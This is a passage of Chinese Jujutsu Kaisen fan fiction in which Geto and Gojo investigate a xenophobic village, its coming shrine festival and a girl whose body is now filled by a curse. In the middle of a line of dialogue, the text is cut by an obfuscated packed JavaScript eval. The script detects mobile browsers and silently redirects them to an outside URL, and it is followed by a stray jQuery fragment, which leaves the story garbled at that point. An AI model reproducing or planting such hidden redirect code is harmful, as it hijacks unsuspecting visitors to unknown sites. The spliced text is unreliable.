考虑到两人之间的武力差距,夏油杰的头愈发疼了,他排斥他人的接触,但对于五条悟却生不出多少排斥,这种异样让他有些不安。
夏油杰轻轻拨开五条悟的手臂,手想插进袖中却摸了个空这才想起换了衣服,嘴角拉平,让自己的表情透出几分冷淡,若是高贺在场便会认出这是夏油杰耐心耗尽的征兆,可五条悟就像没看见,反而说了句不明不白的话。
目光错开几度,落在夏油杰背后的窗户上。
“看来我们已经被人盯上了。”
夏油杰注意力一直被五条悟占着,窗外传来的窸窸窣窣声顿时引起了他的警觉,但偷窥者的反应也很快,黄褐色麻花辫一闪而过。
那个衣服……村里的孩子吗。
被发现了。
沙耶子拉低草帽,扎入草垛后,心跳得快从嗓子里冒出,分明没什么好紧张的,只要借口说偶然路过就好了,那两个外乡人便会放她离开。
但不知怎的,被那双苍蓝色的眼眸捕捉到时,沙耶子有了种被里里外外看透的错觉,她隐埋的心思彻底暴露。
她一刻不敢停,往一个方向奔走,午后炎阳洒下超脱季节限制的热度,汗珠顺着额头滚下滴入眼眶,汗水里的盐分刺得生疼让她脚下不稳,山林间的风略过田埂,轻轻带走少女的草帽。
“啊!”沙耶子小声惊呼,抬手去够,草帽在空中翻滚一圈被一只修长的手截下。
“你丢的东西。”
从头顶传来的声音很温和,仅靠想象也能判断出替她找回草帽的人大约是个脾气很好的男子,沙耶子却不敢抬头,她怕对方谈起自己在角落默默窥探之事,怕他们问起自己是否看到了白发青年亲昵把玩黑发青年发尾的暧昧场景。
因此沙耶子将头埋地更深了些,像骆驼把头埋进沙子,另一道更为清亮的声音从鼻腔中哼出,草帽便被按回了她头上,力道不轻不重。
沙耶子从稻草缝隙悄悄探眼望去,一黑一白两个青年脸上看不出恼怒,仿佛真的只是追上来替她送回失物,沙耶子犹豫几秒,咬住下唇小心翼翼道:“你们还是快点离开村子比较好。”
“为什么?”夏油杰来了些兴趣,不管怎么看,少女的反应都有些激烈,就好像害怕与他们接触似得,难道这个村子还有着不可靠近外乡人的习俗?
沙耶子眼神乱飘,看看五条悟又看看夏油杰,嘴里的话止了又止,最后咽下一口吐沫:“你们,是那种关系吧?要是被村子里其他人看见了一定会把你们送到神明大人那里经受洗礼,所以还是不要暴露的好。”
夏油杰听见前半句脸上的笑差点维持不住,他觉得少女口中‘那种关系’绝不是单单朋友那么简单刚想解释就被五条悟唯恐事情不够乱先一步打断。
他一本正经地严肃表情点头:“原来如此原来如此,下次该找个更隐蔽的地方好了。”
“五条君?”夏油杰额角青筋凸出,他倒是不知道他们两人之间何时多了这么一层亲密关系,“不要让事情复杂下去了。”
五条悟冲他吐吐舌头,俨然一副当甩手掌柜的态度。
夏油杰深吸一口气劝慰自己不是早知道五条悟什么德行,半蹲下身平视沙耶子,嗓音放缓:
“你说的‘神明大人’指的是村外供奉的那些石像?”
沙耶子迟疑片刻摇摇头,再追问下死死咬紧牙关不肯透露一字,嘴一撇眼泪便在眼眶里打转。
“搞哭了呢。”五条悟幸灾乐祸道。
夏油杰没搭理他,眉头微微皱起,他离女孩很近,自然也能看清对方眼底的恐惧,那不是对陌生人的害怕,显然要更深刻些,就好像有些字眼若是说出口便会被察觉。
三人身处的位置太过显眼,位于鸟居入口的大道旁,不一会儿便吸引来村民的视线。
“没见过的脸啊。”
“好像又是外面来的”
田埂间劳作的、推开窗户往外看的、前来参拜神社的,寂静的清川村忽然凭空冒出许多人,灼热的视线黏在夏油杰和五条悟身上,人群逐渐靠近,似要站到跟前来好好看看。
这些人男女老少皆有,眼睛瞪得极大,在距离二人不远不近的距离窃窃私语。
“他们不会像之前几个一样,冒犯神明大人之后拍拍屁股走掉吧。”
“真是的,偏偏赶在这种时候,马上就是神明大人的祭典了,可不能因为他们影响祭典啊。”
“干脆把入口堵起算了。”
“你忘了村长之前说的了?那条路要留着……”
村民们毫不避讳恶意,仿佛见到了什么罪大恶极之人。
夏油杰不动声色凑近五条悟问道:“五条君怎么看现在的情况?会和诅咒有关吗?”
他是知道五条悟那双神情眼睛的能力的,在咒术界这算不得什么秘密。
五条悟故意卖了会儿关子,慢悠悠道:“这些人身上沾着些咒力残秽,但不足以影响他们的心智,硬要找个理由解释现状的话,大概算极端排外吧。”
五条悟没把话说的绝对,给了个可能性,但如此极端情况绝不是单纯村中延续下的习惯,还有他们口中的‘祭典’,将之看的如此重要,夏油杰不得不设想村子里的情况大约与那位神明大人脱不了干系。
闭塞的村落鲜少有外来信仰传入,村民之间消息却传播的格外迅速,往往只需有心人稍加引导,连最低等的精怪都能得到供奉,或许正是错误的信仰形成了诅咒……
“你在想那座神社里供奉的神明和诅咒有关。”
有人替夏油杰说出了猜想,白发青年遥遥看向半山腰处微微显露屋檐一角的清川神社,对着夏油杰遗憾道:“很可惜,那座神社里摆着的确确实实是普通神明石像,虽然连名字都没听过。”
他怎么会知道他在想什么,夏油杰神情有些复杂地瞥了眼对方,五条悟自从猜到夏油杰想着什么后便没再回头,微微垂下头,看不清眼罩后的神情。
夏油杰刚想说什么身后农户家的大门被推开,将长发盘至颈侧的女人神色冷冷,眼珠滑动下便让村民瞬间熄了动静。
“这不是沙耶子吗,又来找我们家里美?还有你们二位是?”
沙耶子嗫嚅起来,绞动手指不知该说什么。
夏油杰瞥见门牌上写着的河村姓氏,眸色动了动,对着女人回首一笑:“河村女士,我们是沙耶子的朋友,这次是陪她来看望里美小姐。”
少女顿时瞪大了眼,完全不明白刚刚还在把她当野兔追击的男人如何才能摆出这番理所当然的嘴脸。
“你又在网上认识外面的人了,这怎么行呢,你马上要成为巫女。”河村脸色不太好看,是对着少女,不一会儿勉强收拾好表情,“先进来吧。”
走进河村家,阴冷的感觉自地面而起,即便正午阳光正好,屋内也像笼罩经年不散的乌云般暗沉,夏油杰嗅到了一股来自诅咒的气味。
沙耶子在河村说完那句话后情绪异常低落,连自己非二人好友之事都忘了辩解,沉默地赘在最尾。
河村停在一扇门前对着三人颔首,“里美还在修养中,可以的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785244|174851||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话麻烦不要做出过于刺激她的行为。”
她缓缓推开门,夏油杰看见床上半躺着一位黑色短发少女,眼神空洞的望着窗外,对有人到来毫无反应。
“里美,快看沙耶子带着朋友来看你了。”河村柔声呼唤道。
河村里美慢慢转过头,依旧麻木,黑洞洞的瞳孔看向来人方向,嘴角高高扬起,与村民们如出一辙。
“欢迎。”
听到此话,沙耶子瞳孔紧缩,发出剧烈干呕,仿佛看见了恐怖的事物般捂住嘴,忽然转身向外跑去。
夏油杰望着少女离去的背影若有所思。
她也是能看见的人。
“沙耶子自从里美回来后总是这样。”河村见怪不怪,走上前替女儿梳理头发,“真是奇怪的孩子。”
其实不然,奇怪的人反而是这位母亲。
“她从回来后就一直卧床,没考虑带她去看医生?”五条悟问道。
“这都是神明大人降下的一些微不足道的惩罚,里美她不会有事。”河村摇摇头,语气透着不自然,眼里也带了些警觉。
从女儿这边入手有些困难,夏油杰对着五条悟眯了眯眼,示意后面的话由他开启,五条悟本就对调查工作没什么兴趣,接收到讯息后寻了张椅子坐下,翘起二郎腿围观‘藤元先生’的话术表演。
夏油杰眼角抽了抽,装作不经意间提起:“神明大人是神社供奉着的那位?听说很快就要举行祭典,我们也打算参与,不知有什么需要准备的?”
河村脸色缓和了些:“你们真是好运,赶上了第一次祭典,就在那座鸟麓山上,从明天落日开始,村民们都会上山,在神社旁感谢神明大人降雨熄灭山火,外乡人虽不能进入神社内部,但在外围闲逛还是可以的。”
“嗨——我可以提问吗?”五条悟忽然举起手来,指向窗外神社的方向,歪过头问道:“那间神社应该是很早之前就存在了吧,为什么第一次举行祭典,之前没人供奉神明大人吗?”
“因为……”河村先是语塞,而后看向五条悟的目光逐渐狠厉,“一个外乡人懂些什么!都怪你们老说些奇怪的话,我的女儿才会想离开村子,才会触怒神明大人。”
她越说越激动,紧紧握着床柱起身,似要把怒火全部倾泄到五条悟头上,举起玻璃杯砸了过去:“滚出去!外乡人!”
这就是所谓恼羞成怒吗,五条悟换了个姿势,刚打算拦下飞行物,那只玻璃杯就被他人先行截下。
夏油杰神色平静,甚至嘴角还挂着抹笑,轻缓却又不容拒绝地将杯子归还给原主人,微微眯起眼盯着河村,可悲叹息道:“为什么你们总喜欢将自身的错归结于他人呢。”
“你、你说什么胡话。”河村齿间不住打颤,竟从青年身上感受出了些许杀意。
“检查过河村里美手机的你明明知道所有。”
[我一定要去大都市,逃离这个恶心的村子。]
“她早就厌恶极了这座村子。”
[就因为我能看到神明,他们都要把我送上山,到死都不能离开神社。]
“比起自己的女儿,分明更忠于信仰,可这副模样是出于愧疚?”
河村嘴唇颤抖,指甲在木头上刮出刺耳摩擦声,“不,你胡说,里美她是自愿的。”
[为什么?连妈妈也默许了。]
已经没有继续对话的必要了,夏油杰漠然看着床上空有一副人类外表的河村里美,诅咒充当馅料填补皮囊,在幽暗的房间中发酵。
河村里美根本没有回来。